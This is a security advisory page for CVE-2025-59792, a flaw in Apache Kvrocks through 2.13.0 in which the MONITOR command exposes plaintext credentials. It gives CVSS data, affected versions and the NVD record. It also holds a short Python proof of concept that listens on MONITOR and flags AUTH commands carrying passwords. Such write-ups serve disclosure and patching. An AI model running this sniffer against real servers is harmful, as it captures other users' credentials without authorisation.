Security Vulnerability Report
中文
CVE-2025-59792 CVSS 5.3 MEDIUM

CVE-2025-59792

Published: 2025-11-28 15:16:03
Last Modified: 2025-12-04 17:04:38

Description

Reveals plaintext credentials in the MONITOR command vulnerability in Apache Kvrocks. This issue affects Apache Kvrocks: from 1.0.0 through 2.13.0. Users are recommended to upgrade to version 2.14.0, which fixes the issue.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:kvrocks:*:*:*:*:*:*:*:* - VULNERABLE
Apache Kvrocks 1.0.0
Apache Kvrocks 1.x < 2.13.0
Apache Kvrocks 2.0.0 - 2.13.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59792 PoC - Apache Kvrocks MONITOR Command Credential Leakage # This PoC demonstrates how MONITOR command exposes plaintext credentials import socket import time import threading def monitor_stream(host, port): """Monitor Kvrocks server to capture plaintext credentials""" monitor_conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) monitor_conn.connect((host, port)) monitor_conn.send(b"MONITOR\r\n") print("[*] MONITOR started - capturing all commands...") while True: data = monitor_conn.recv(4096) if data: print(data.decode('utf-8', errors='ignore')) # Look for AUTH commands with plaintext passwords if b'AUTH' in data: print("[!] POTENTIAL CREDENTIAL LEAK DETECTED!") def trigger_auth(host, port, username, password): """Trigger AUTH command that will be captured by MONITOR""" time.sleep(2) # Wait for MONITOR to start auth_conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) auth_conn.connect((host, port)) # Send AUTH command with plaintext credentials auth_cmd = f"AUTH {username} {password}\r\n" auth_conn.send(auth_cmd.encode()) response = auth_conn.recv(1024) print(f"[AUTH Response] {response.decode()}") auth_conn.close() # Configuration HOST = "target_ip" PORT = 6666 USERNAME = "admin" PASSWORD = "secret_password_123" # Start monitor in separate thread monitor_thread = threading.Thread(target=monitor_stream, args=(HOST, PORT)) monitor_thread.daemon = True monitor_thread.start() # Trigger authentication to leak credentials trigger_auth(HOST, PORT, USERNAME, PASSWORD) print("\n[*] Check MONITOR output above for leaked credentials")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59792", "sourceIdentifier": "[email protected]", "published": "2025-11-28T15:16:03.140", "lastModified": "2025-12-04T17:04:38.183", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Reveals plaintext credentials in the MONITOR command vulnerability in Apache Kvrocks.\n\nThis issue affects Apache Kvrocks: from 1.0.0 through 2.13.0.\n\nUsers are recommended to upgrade to version 2.14.0, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-312"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:kvrocks:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "2.14.0", "matchCriteriaId": "41C7A4A4-DE96-4553-9C0E-6E1791459F26"}]}]}], "references": [{"url": "https://lists.apache.org/thread/h2pcvr5p9otc7dnj2dt2nr4b3omghddw", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/11/28/3", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}